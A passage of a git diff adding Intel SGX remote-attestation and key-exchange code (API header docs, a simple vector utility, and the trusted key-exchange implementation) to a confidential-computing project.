* and key exchange process, to be used in sgx_ra_get_msg1 and + * sgx_ra_proc_msg2. + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Indicates an error that + * the input parameters are + * invalid. + * SGX_ERROR_OUT_OF_MEMORY There is not enough + * memory available to + * complete this operation. + * SGX_ERROR_AE_SESSION_INVALID Session is invalid or + * ended by server. + * SGX_ERROR_UNEXPECTED Indicates an unexpected + * error occurs. + */ +sgx_status_t SGXAPI sgx_ra_init( + const sgx_ec256_public_t *p_pub_key, + int b_pse, + sgx_ra_context_t *p_context); + +/* + * The sgx_ra_derive_secret_keys_t function should takes the Diffie-Hellman + * shared secret as input to allow the ISV enclave to generate their own derived + * shared keys (SMK, SK, MK and VK). + * + * @param p_shared_key The the Diffie-Hellman shared secret. + * @param kdf_id, Key Derivation Function ID + * @param p_smk_key The output SMK. + * @param p_sk_key The output SK. + * @param p_mk_key The output MK. + * @param p_vk_key The output VK. + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Indicates an error that + * the input parameters are + * invalid. + * SGX_ERROR_KDF_MISMATCH Indicates key derivation + * function doesn't match. + * SGX_ERROR_OUT_OF_MEMORY There is not enough + * memory available to + * complete this operation. + * SGX_ERROR_UNEXPECTED Indicates an unexpected + * error occurs. + */ + +typedef sgx_status_t(*sgx_ra_derive_secret_keys_t)( + const sgx_ec256_dh_shared_t* p_shared_key, + uint16_t kdf_id, + sgx_ec_key_128bit_t* p_smk_key, + sgx_ec_key_128bit_t* p_sk_key, + sgx_ec_key_128bit_t* p_mk_key, + sgx_ec_key_128bit_t* p_vk_key); + +/* + * The sgx_ra_init_ex function creates a context for the remote attestation and + * key exchange process asociated with a key derive function. + * + * @param p_pub_key The EC public key of the service provider based on the NIST + * P-256 elliptic curve. + * @param b_pse [DEPRECATED] + * @param derive_key_cb A pointer to a call back routine matching the + * function prototype of sgx_ra_derive_secret_keys_t. This + * function takes the Diffie-Hellman shared secret as input + * to allow the ISV enclave to generate their own derived + * shared keys (SMK, SK, MK and VK). + * @param p_context The output context for the subsequent remote attestation + * and key exchange process, to be used in sgx_ra_get_msg1 and + * sgx_ra_proc_msg2. + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Indicates an error that + * the input parameters are + * invalid. + * SGX_ERROR_OUT_OF_MEMORY There is not enough + * memory available to + * complete this operation. + * SGX_ERROR_AE_SESSION_INVALID Session is invalid or + * ended by server. + * SGX_ERROR_UNEXPECTED Indicates an unexpected + * error occurs. + */ + +sgx_status_t SGXAPI sgx_ra_init_ex( + const sgx_ec256_public_t *p_pub_key, + int b_pse, + sgx_ra_derive_secret_keys_t derive_key_cb, + sgx_ra_context_t *p_context); +/* + * The sgx_ra_get_keys function is used to get the negotiated keys of a remote + * attestation and key exchange session. This function should only be called + * after the service provider accepts the remote attestation and key exchange + * protocol message 3 produced by sgx_ra_proc_msg2. + * + * @param context Context returned by sgx_ra_init. + * @param type The specifier of keys, can be SGX_RA_KEY_MK, SGX_RA_KEY_SK. + * @param p_key The key returned. + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Indicates an error that + * the input parameters are + * invalid. + * SGX_ERROR_INVALID_STATE Indicates this function + * is called out of order. + */ +sgx_status_t SGXAPI sgx_ra_get_keys( + sgx_ra_context_t context, + sgx_ra_key_type_t type, + sgx_ra_key_128_t *p_key); + +/* + * Call the sgx_ra_close function to release the remote attestation and key + * exchange context after the process is done and the context isn't needed + * anymore. + * + * @param context Context returned by sgx_ra_init. + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Indicates an error that + * the input parameters are + * invalid. + */ +sgx_status_t SGXAPI sgx_ra_close( + sgx_ra_context_t context); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/simple_vector.cpp b/cczoo/machine_binding_key_backup/utils/tkey_exchange/simple_vector.cpp new file mode 100644 index 00000000..681aaf33 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/simple_vector.cpp @@ -0,0 +1,122 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include +#include +#include +#include "sgx_lfence.h" +#include "simple_vector.h" + +//initial vector capacity when first item is added to vector +#define INIT_SIZE 10 + +//max vector capacity of a vector +#define MAX_SIZE 10000 + +//init vector to all zero +void vector_init(simple_vector* v) +{ + if (v) + { + v->size = 0; + v->capacity = 0; + v->data = NULL; + } +} + +//return current number of items the vector holds +uint32_t vector_size(const simple_vector* v) +{ + if (v) + return v->size; + else + return 0; +} + +//push a pointer to the end of the vector +//return 0 if success, return 1 if memory malloc failure. +errno_t vector_push_back(simple_vector* v, const void* data) +{ + if (v) + { + if (v->capacity == 0) { + //first item + v->data = (void**)malloc(sizeof(void*) * INIT_SIZE); + if (v->data ==NULL) + return 1; + v->capacity = INIT_SIZE; + memset(v->data, '\0', sizeof(void*) * INIT_SIZE); + } + else if (v->size == v->capacity) { + void** new_data; + if( v->capacity >= MAX_SIZE - INIT_SIZE) + return 1; + //increate size by INIT_SIZE + new_data = (void**)realloc(v->data, sizeof(void*) *( v->capacity + INIT_SIZE)); + if (new_data ==NULL) + return 1; + memset(&new_data[v->capacity], '\0', sizeof(void*) * INIT_SIZE); + v->data = new_data; + v->capacity += INIT_SIZE; + } + //assign new item + v->data[v->size] = const_cast(data); + v->size++; + return 0; + } + return 1; +} + +//get the item pointer in the vector +//return 0 if success, return 1 if index is out of range or data pointer is invalid. +errno_t vector_get(const simple_vector* v, uint32_t index, void** data) +{ + if (!v || index >= v->size || !data) + return 1; + + //fence after boundary check + sgx_lfence(); + + *data = v->data[index]; + return 0; +} + +//set the pointer in the vector +//return 0 if success, return 1 if index is out of range. +errno_t vector_set(simple_vector* v, uint32_t index, const void* data) +{ + if (!v || index >= v->size) + return 1; + v->data[index] = const_cast(data); + return 0; +} + +//release memory used by the vector +void vector_free(simple_vector* v) +{ + if (v) + { + v->size = 0; + v->capacity = 0; + if(v->data) + { + free(v->data); + v->data = NULL; + } + } +} diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/simple_vector.h b/cczoo/machine_binding_key_backup/utils/tkey_exchange/simple_vector.h new file mode 100644 index 00000000..3318a00b --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/simple_vector.h @@ -0,0 +1,57 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SIMPLE_VECOTR_H +#define _SIMPLE_VECOTR_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _simple_vector +{ + uint32_t size; + uint32_t capacity; + void** data; +}simple_vector; + +//call vector_init first or set all field to 0 to use a simple_vector +void vector_init(simple_vector* vector); + +//get number of elements in simple_vector +uint32_t vector_size(const simple_vector* vector); + +//insert an element to the end of simple_vector, the element can only be pointer +errno_t vector_push_back(simple_vector* vector, const void* data); + +//get an element +errno_t vector_get(const simple_vector* v, uint32_t index, void** data); + +//set an element content +errno_t vector_set(simple_vector* v, uint32_t index, const void* data); + +//free the simple_vector allocated memory +void vector_free(simple_vector* vector); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/tkey_exchange.cpp b/cczoo/machine_binding_key_backup/utils/tkey_exchange/tkey_exchange.cpp new file mode 100644 index 00000000..f8a4f986 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/tkey_exchange.cpp @@ -0,0 +1,707 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include +#include "sgx_tkey_exchange.h" +#include "sgx_trts.h" +#include "sgx_utils.h" +#include "sgx_lfence.h" +#include "ecp_interface.h" +#include "util.h" +#include "string.h" +#include "stdlib.h" +#include "sgx_spinlock.h" +#include "sgx_tkey_exchange_t.h" +#include "simple_vector.h" +#include "se_cdefs.h" + +// Add a version to tkey_exchange. +SGX_ACCESS_VERSION(tkey_exchange, 1) + +#define ERROR_BREAK(sgx_status) if(SGX_SUCCESS!=sgx_status){break;} +#define SAFE_FREE(ptr) {if (NULL != (ptr)) {free(ptr); (ptr)=NULL;}} + + +#pragma pack(push, 1) + +// any call to sgx_ra_init will reset the input pubkey related ra_db_item_t.ra_state to ra_inited +// only sgx_ra_get_ga can change ra_inited to ra_get_gaed +// only sgx_ra_proc_msg2_trusted can change ra_get_gaed to ra_proc_msg2ed +// sgx_ra_get_msg3_trusted and sgx_ra_get_keys will check ra_state whether to be ra_proc_msg2ed + +typedef enum _ra_state +{ + ra_inited= 0, + ra_get_gaed, + ra_proc_msg2ed +}ra_state; + +typedef struct _ra_db_item_t +{ + sgx_ec256_public_t g_a; + sgx_ec256_public_t g_b; + sgx_ec_key_128bit_t vk_key; + sgx_ec256_public_t sp_pubkey; + sgx_ec256_private_t a; + sgx_ps_sec_prop_desc_t ps_sec_prop; + sgx_ec_key_128bit_t mk_key; + sgx_ec_key_128bit_t sk_key; + sgx_ec_key_128bit_t smk_key; + sgx_quote_nonce_t quote_nonce; //to verify quote report data + sgx_target_info_t qe_target; //to verify quote report + ra_state state; + sgx_spinlock_t item_lock; + uintptr_t derive_key_cb; +}ra_db_item_t; + +#pragma pack(pop) + +static simple_vector g_ra_db = {0, 0, NULL}; +static sgx_spinlock_t g_ra_db_lock = SGX_SPINLOCK_INITIALIZER; +static uintptr_t g_kdf_cookie = 0; +#define ENC_KDF_POINTER(x) (uintptr_t)(x) ^ g_kdf_cookie +#define DEC_KDF_POINTER(x) (sgx_ra_derive_secret_keys_t)((x) ^ g_kdf_cookie) + +extern "C" sgx_status_t sgx_ra_get_ga( + sgx_ra_context_t context, + sgx_ec256_public_t *g_a) +{ + sgx_status_t se_ret; + if(vector_size(&g_ra_db) <= context||!g_a) + return SGX_ERROR_INVALID_PARAMETER; + ra_db_item_t* item = NULL; + sgx_spin_lock(&g_ra_db_lock); + if (0 != vector_get(&g_ra_db, context, reinterpret_cast(&item)) || item == NULL) + { + sgx_spin_unlock(&g_ra_db_lock); + return SGX_ERROR_INVALID_PARAMETER; + } + sgx_spin_unlock(&g_ra_db_lock); + + + sgx_ecc_state_handle_t ecc_state = NULL; + sgx_ec256_public_t pub_key; + sgx_ec256_private_t priv_key; + + memset(&pub_key, 0, sizeof(pub_key)); + memset(&priv_key, 0, sizeof(priv_key)); + + + sgx_spin_lock(&item->item_lock); + do + { + //sgx_ra_init must have been called + if (item->state != ra_inited) + { + se_ret = SGX_ERROR_INVALID_STATE; + break; + } + // ecc_state should be closed when exit. + se_ret = sgx_ecc256_open_context(&ecc_state); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + se_ret = sgx_ecc256_create_key_pair(&priv_key, &pub_key, ecc_state); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + memcpy(&item->a, &priv_key, sizeof(item->a)); + memcpy(&item->g_a, &pub_key, sizeof(item->g_a)); + memcpy(g_a, &pub_key, sizeof(sgx_ec256_public_t)); + item->state = ra_get_gaed; + //clear local private key to defense in depth + memset_s(&priv_key,sizeof(priv_key),0,sizeof(sgx_ec256_private_t)); + }while(0); + sgx_spin_unlock(&item->item_lock); + if(ecc_state!=NULL) + sgx_ecc256_close_context(ecc_state); + return se_ret; +} + +extern "C" sgx_status_t sgx_ra_proc_msg2_trusted( + sgx_ra_context_t context, + const sgx_ra_msg2_t *p_msg2, //(g_b||spid||quote_type|| KDF_ID ||sign_gb_ga||cmac||sig_rl_size||sig_rl) + const sgx_target_info_t *p_qe_target, + sgx_report_t *p_report, + sgx_quote_nonce_t* p_nonce) +{ + sgx_status_t se_ret = SGX_ERROR_UNEXPECTED; + //p_msg2[in] p_qe_target[in] p_report[out] p_nonce[out] in EDL file + if(vector_size(&g_ra_db) <= context + || !p_msg2 + || !p_qe_target + || !p_report + || !p_nonce) + return SGX_ERROR_INVALID_PARAMETER; + + ra_db_item_t* item = NULL; + sgx_spin_lock(&g_ra_db_lock); + if (0 != vector_get(&g_ra_db, context, reinterpret_cast(&item)) || item == NULL) + { + sgx_spin_unlock(&g_ra_db_lock); + return SGX_ERROR_INVALID_PARAMETER; + } + sgx_spin_unlock(&g_ra_db_lock); + + sgx_ec256_private_t a; + memset(&a, 0, sizeof(a)); + // Create gb_ga + sgx_ec256_public_t gb_ga[2]; + sgx_ec256_public_t sp_pubkey; + sgx_ec_key_128bit_t smkey = {0}; + sgx_ec_key_128bit_t skey = {0}; + sgx_ec_key_128bit_t mkey = {0}; + sgx_ec_key_128bit_t vkey = {0}; + sgx_ra_derive_secret_keys_t ra_key_cb = NULL; + + memset(&gb_ga[0], 0, sizeof(gb_ga)); + sgx_spin_lock(&item->item_lock); + //sgx_ra_get_ga must have been called + if (item->state != ra_get_gaed) + { + sgx_spin_unlock(&item->item_lock); + return SGX_ERROR_INVALID_STATE; + } + memcpy(&a, &item->a, sizeof(a)); + memcpy(&gb_ga[1], &item->g_a, sizeof(gb_ga[1])); + memcpy(&sp_pubkey, &item->sp_pubkey, sizeof(sp_pubkey)); + ra_key_cb = DEC_KDF_POINTER(item->derive_key_cb); + sgx_spin_unlock(&item->item_lock); + memcpy(&gb_ga[0], &p_msg2->g_b, sizeof(gb_ga[0])); + + sgx_ecc_state_handle_t ecc_state = NULL; + + // ecc_state need to be freed when exit. + se_ret = sgx_ecc256_open_context(&ecc_state); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + return se_ret; + } + + sgx_ec256_dh_shared_t dh_key; + memset(&dh_key, 0, sizeof(dh_key)); + sgx_ec256_public_t* p_msg2_g_b = const_cast(&p_msg2->g_b); + se_ret = sgx_ecc256_compute_shared_dhkey(&a, + (sgx_ec256_public_t*)p_msg2_g_b, + &dh_key, ecc_state); + if(SGX_SUCCESS != se_ret) + { + if (SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + sgx_ecc256_close_context(ecc_state); + return se_ret; + } + // Verify signature of gb_ga + uint8_t result; + sgx_ec256_signature_t* p_msg2_sign_gb_ga = const_cast(&p_msg2->sign_gb_ga); + se_ret = sgx_ecdsa_verify((uint8_t *)&gb_ga, sizeof(gb_ga), + &sp_pubkey, + p_msg2_sign_gb_ga, + &result, ecc_state); + if(SGX_SUCCESS != se_ret) + { + if (SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + sgx_ecc256_close_context(ecc_state); + return se_ret; + } + if(SGX_EC_VALID != result) + { + sgx_ecc256_close_context(ecc_state); + return SGX_ERROR_INVALID_SIGNATURE; + } + + do + { + if(NULL != ra_key_cb) + { + se_ret = ra_key_cb(&dh_key, + p_msg2->kdf_id, + &smkey, + &skey, + &mkey, + &vkey); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret && + SGX_ERROR_INVALID_PARAMETER != se_ret && + SGX_ERROR_KDF_MISMATCH != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + } + else if (p_msg2->kdf_id == 0x0001) + { + se_ret = derive_key(&dh_key, "SMK", (uint32_t)(sizeof("SMK") -1), &smkey); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + se_ret = derive_key(&dh_key, "SK", (uint32_t)(sizeof("SK") -1), &skey); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + + se_ret = derive_key(&dh_key, "MK", (uint32_t)(sizeof("MK") -1), &mkey); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + + se_ret = derive_key(&dh_key, "VK", (uint32_t)(sizeof("VK") -1), &vkey); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + } + else + { + se_ret = SGX_ERROR_KDF_MISMATCH; + break; + } + + sgx_cmac_128bit_tag_t mac; + uint32_t maced_size = offsetof(sgx_ra_msg2_t, mac); + + se_ret = sgx_rijndael128_cmac_msg(&smkey, (const uint8_t *)p_msg2, maced_size, &mac); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + //Check mac + if(0 == consttime_memequal(mac, p_msg2->mac, sizeof(mac))) + { + se_ret = SGX_ERROR_MAC_MISMATCH; + break; + } + + //create a nonce + se_ret =sgx_read_rand((uint8_t*)p_nonce, sizeof(sgx_quote_nonce_t)); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + + sgx_spin_lock(&item->item_lock); + //sgx_ra_get_ga must have been called + if (item->state != ra_get_gaed) + { + se_ret = SGX_ERROR_INVALID_STATE; + sgx_spin_unlock(&item->item_lock); + break; + } + memcpy(&item->g_b, &p_msg2->g_b, sizeof(item->g_b)); + memcpy(&item->smk_key, smkey, sizeof(item->smk_key)); + memcpy(&item->sk_key, skey, sizeof(item->sk_key)); + memcpy(&item->mk_key, mkey, sizeof(item->mk_key)); + memcpy(&item->vk_key, vkey, sizeof(item->vk_key)); + memcpy(&item->qe_target, p_qe_target, sizeof(sgx_target_info_t)); + memcpy(&item->quote_nonce, p_nonce, sizeof(sgx_quote_nonce_t)); + sgx_report_data_t report_data = {{0}}; + se_static_assert(sizeof(sgx_report_data_t)>=sizeof(sgx_sha256_hash_t)); + // H = SHA256(ga || gb || VK_CMAC) + uint32_t sha256ed_size = offsetof(ra_db_item_t, sp_pubkey); + //report_data is 512bits, H is 256bits. The H is in the lower 256 bits of report data while the higher 256 bits are all zeros. + se_ret = sgx_sha256_msg((uint8_t *)&item->g_a, sha256ed_size, + (sgx_sha256_hash_t *)&report_data); + if(SGX_SUCCESS != se_ret) + { + if (SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + sgx_spin_unlock(&item->item_lock); + break; + } + //REPORTDATA = H + se_ret = sgx_create_report(p_qe_target, &report_data, p_report); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + sgx_spin_unlock(&item->item_lock); + break; + } + item->state = ra_proc_msg2ed; + sgx_spin_unlock(&item->item_lock); + }while(0); + memset_s(&dh_key, sizeof(dh_key), 0, sizeof(dh_key)); + sgx_ecc256_close_context(ecc_state); + memset_s(&a, sizeof(sgx_ec256_private_t),0, sizeof(sgx_ec256_private_t)); + memset_s(smkey, sizeof(sgx_ec_key_128bit_t),0, sizeof(sgx_ec_key_128bit_t)); + memset_s(skey, sizeof(sgx_ec_key_128bit_t),0, sizeof(sgx_ec_key_128bit_t)); + memset_s(mkey, sizeof(sgx_ec_key_128bit_t),0, sizeof(sgx_ec_key_128bit_t)); + memset_s(vkey, sizeof(sgx_ec_key_128bit_t),0, sizeof(sgx_ec_key_128bit_t)); + return se_ret; +} + +/* the caller is supposed to fill the quote field in emp_msg3 before calling + * this function.*/ +extern "C" sgx_status_t sgx_ra_get_msg3_trusted( + sgx_ra_context_t context, + uint32_t quote_size, + sgx_report_t* qe_report, + sgx_ra_msg3_t *emp_msg3, //(mac||g_a||ps_sec_prop||quote) + uint32_t msg3_size) + +{ + UNUSED(qe_report); + if(vector_size(&g_ra_db) <= context ||!quote_size || !emp_msg3) + return SGX_ERROR_INVALID_PARAMETER; + + ra_db_item_t* item = NULL; + sgx_spin_lock(&g_ra_db_lock); + if (0 != vector_get(&g_ra_db, context, reinterpret_cast(&item)) || item == NULL) + { + sgx_spin_unlock(&g_ra_db_lock); + return SGX_ERROR_INVALID_PARAMETER; + } + sgx_spin_unlock(&g_ra_db_lock); + + //check integer overflow of msg3_size and quote_size + if (UINTPTR_MAX - reinterpret_cast(emp_msg3) < msg3_size || + UINT32_MAX - quote_size < sizeof(sgx_ra_msg3_t) || + sizeof(sgx_ra_msg3_t) + quote_size != msg3_size) + return SGX_ERROR_INVALID_PARAMETER; + + if (!sgx_is_outside_enclave(emp_msg3, msg3_size)) + return SGX_ERROR_INVALID_PARAMETER; + // + // fence after boundary check + // this also stops speculation in case of + // branch associated + // with sizeof(sgx_ra_msg3_t) + quote_size != msg3_size + // mispredicting + // + sgx_lfence(); + + sgx_status_t se_ret = SGX_ERROR_UNEXPECTED; + + sgx_spin_lock(&item->item_lock); + //sgx_ra_proc_msg2_trusted must have been called + if (item->state != ra_proc_msg2ed) + { + sgx_spin_unlock(&item->item_lock); + return SGX_ERROR_INVALID_STATE; + } + + sgx_ra_msg3_t msg3_except_quote_in; + sgx_cmac_128bit_key_t smk_key; + memcpy(&msg3_except_quote_in.g_a, &item->g_a, sizeof(msg3_except_quote_in.g_a)); + memcpy(&msg3_except_quote_in.ps_sec_prop, &item->ps_sec_prop, + sizeof(msg3_except_quote_in.ps_sec_prop)); + memcpy(&smk_key, &item->smk_key, sizeof(smk_key)); + sgx_spin_unlock(&item->item_lock); + + sgx_cmac_state_handle_t cmac_handle = NULL; + + do + { + //cmac M := ga || PS_SEC_PROP_DESC(all zero if unused) ||emp_quote + sgx_cmac_128bit_tag_t mac; + se_ret = sgx_cmac128_init(&smk_key, &cmac_handle); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + if (NULL == cmac_handle) + { + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + se_ret = sgx_cmac128_update((uint8_t*)&msg3_except_quote_in.g_a, + sizeof(msg3_except_quote_in.g_a), cmac_handle); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + se_ret = sgx_cmac128_update((uint8_t*)&msg3_except_quote_in.ps_sec_prop, + sizeof(msg3_except_quote_in.ps_sec_prop), cmac_handle); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + + // cmac quote + uint8_t quote_piece[32]; + const uint8_t* emp_quote_piecemeal = emp_msg3->quote; + uint32_t quote_piece_size = static_cast(sizeof(quote_piece)); + + while (emp_quote_piecemeal < emp_msg3->quote + quote_size) + { + //calculate size of one piece, the size of them are sizeof(quote_piece) except for the last one. + if (static_cast(emp_msg3->quote + quote_size - emp_quote_piecemeal) < quote_piece_size) + quote_piece_size = static_cast(emp_msg3->quote - emp_quote_piecemeal) + quote_size ; + memcpy(quote_piece, emp_quote_piecemeal, quote_piece_size); + + se_ret = sgx_cmac128_update(quote_piece, + quote_piece_size, + cmac_handle); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + emp_quote_piecemeal += sizeof(quote_piece); + } + ERROR_BREAK(se_ret); + + //get cmac value + se_ret = sgx_cmac128_final(cmac_handle, &mac); + if (SGX_SUCCESS != se_ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != se_ret) + se_ret = SGX_ERROR_UNEXPECTED; + break; + } + + memcpy(&msg3_except_quote_in.mac, mac, sizeof(mac)); + memcpy(emp_msg3, &msg3_except_quote_in, offsetof(sgx_ra_msg3_t, quote)); + se_ret = SGX_SUCCESS; + }while(0); + memset_s(&smk_key, sizeof(smk_key), 0, sizeof(smk_key)); + + if(cmac_handle != NULL) + sgx_cmac128_close(cmac_handle); + return se_ret; +} + +// TKE interface for isv enclaves +sgx_status_t sgx_ra_init_ex( + const sgx_ec256_public_t *p_pub_key, + int b_pse, + sgx_ra_derive_secret_keys_t derive_key_cb, + sgx_ra_context_t *p_context) +{ + UNUSED(b_pse); + int valid = 0; + sgx_status_t ret = SGX_SUCCESS; + sgx_ecc_state_handle_t ecc_state = NULL; + + // initialize g_kdf_cookie for the first time sgx_ra_init_ex is called. + if (unlikely(g_kdf_cookie == 0)) + { + uintptr_t rand = 0; + do + { + if (SGX_SUCCESS != sgx_read_rand((unsigned char *)&rand, sizeof(rand))) + { + return SGX_ERROR_UNEXPECTED; + } + } while (rand == 0); + + sgx_spin_lock(&g_ra_db_lock); + if (g_kdf_cookie == 0) + { + g_kdf_cookie = rand; + memset_s(&rand, sizeof(rand), 0, sizeof(rand)); + } + sgx_spin_unlock(&g_ra_db_lock); + } + + if(!p_pub_key || !p_context) + return SGX_ERROR_INVALID_PARAMETER; + + if(!sgx_is_within_enclave(p_pub_key, sizeof(sgx_ec256_public_t))) + return SGX_ERROR_INVALID_PARAMETER; + + //derive_key_cb can be NULL + if (NULL != derive_key_cb && + !sgx_is_within_enclave((const void*)derive_key_cb, 0)) + { + return SGX_ERROR_INVALID_PARAMETER; + } + + ret = sgx_ecc256_open_context(&ecc_state); + if(SGX_SUCCESS != ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != ret) + ret = SGX_ERROR_UNEXPECTED; + return ret; + } + + ret = sgx_ecc256_check_point((const sgx_ec256_public_t *)p_pub_key, + ecc_state, &valid); + if(SGX_SUCCESS != ret) + { + if(SGX_ERROR_OUT_OF_MEMORY != ret) + ret = SGX_ERROR_UNEXPECTED; + sgx_ecc256_close_context(ecc_state); + return ret; + } + if(!valid) + { + sgx_ecc256_close_context(ecc_state); + return SGX_ERROR_INVALID_PARAMETER; + } + sgx_ecc256_close_context(ecc_state); + + //add new item to g_ra_db + ra_db_item_t* new_item = (ra_db_item_t*)malloc(sizeof(ra_db_item_t)); + if (!new_item) + { + return SGX_ERROR_OUT_OF_MEMORY; + } + memset(new_item,0, sizeof(ra_db_item_t)); + memcpy(&new_item->sp_pubkey, p_pub_key, sizeof(new_item->sp_pubkey)); + new_item->derive_key_cb = ENC_KDF_POINTER(derive_key_cb); + new_item->state = ra_inited; + + //find first empty slot in g_ra_db + int first_empty = -1; + ra_db_item_t* item = NULL; + sgx_spin_lock(&g_ra_db_lock); + uint32_t size = vector_size(&g_ra_db); + for (uint32_t i = 0; i < size; i++) + { + if(0 != vector_get(&g_ra_db, i, reinterpret_cast(&item))) + { + sgx_spin_unlock(&g_ra_db_lock); + SAFE_FREE(new_item); + return SGX_ERROR_UNEXPECTED; + } + if(item == NULL) + { + first_empty = i; + break; + } + } + //if there is a empty slot, use it + if (first_empty >= 0) + { + errno_t vret = vector_set(&g_ra_db, first_empty, new_item); + UNUSED(vret); + assert(vret == 0); + *p_context = first_empty; + } + //if there are no empty slots, add a new item to g_ra_db + else + { + if(size >= INT32_MAX) + { + //overflow + sgx_spin_unlock(&g_ra_db_lock); + SAFE_FREE(new_item); + return SGX_ERROR_OUT_OF_MEMORY; + } + if(0 != vector_push_back(&g_ra_db, new_item)) + { + sgx_spin_unlock(&g_ra_db_lock); + SAFE_FREE(new_item); + return SGX_ERROR_OUT_OF_MEMORY; + } + *p_context = size; + } + sgx_spin_unlock(&g_ra_db_lock); + return SGX_SUCCESS; +} + +// TKE interface for isv enclaves +sgx_status_t sgx_ra_init( + const sgx_ec256_public_t *p_pub_key, + int b_pse, + sgx_ra_context_t *p_context) +{ + + return sgx_ra_init_ex(p_pub_key, + b_pse, + NULL, + p_context); +} + +// TKE interface for isv enclaves +sgx_status_t sgx_ra_get_keys( + sgx_ra_context_t context, + sgx_ra_key_type_t type, + sgx_ra_key_128_t *p_key) +{ + if(vector_size(&g_ra_db) <= context || !p_key) + return SGX_ERROR_INVALID_PARAMETER; + ra_db_item_t* item = NULL; + sgx_spin_lock(&g_ra_db_lock); + if (0 != vector_get(&g_ra_db, context, reinterpret_cast(&item)) || item == NULL) + { + sgx_spin_unlock(&g_ra_db_lock); + return SGX_ERROR_INVALID_PARAMETER; + } + sgx_spin_unlock(&g_ra_db_lock); + if(!sgx_is_within_enclave(p_key, sizeof(sgx_ra_key_128_t))) + return SGX_ERROR_INVALID_PARAMETER; + + sgx_status_t ret = 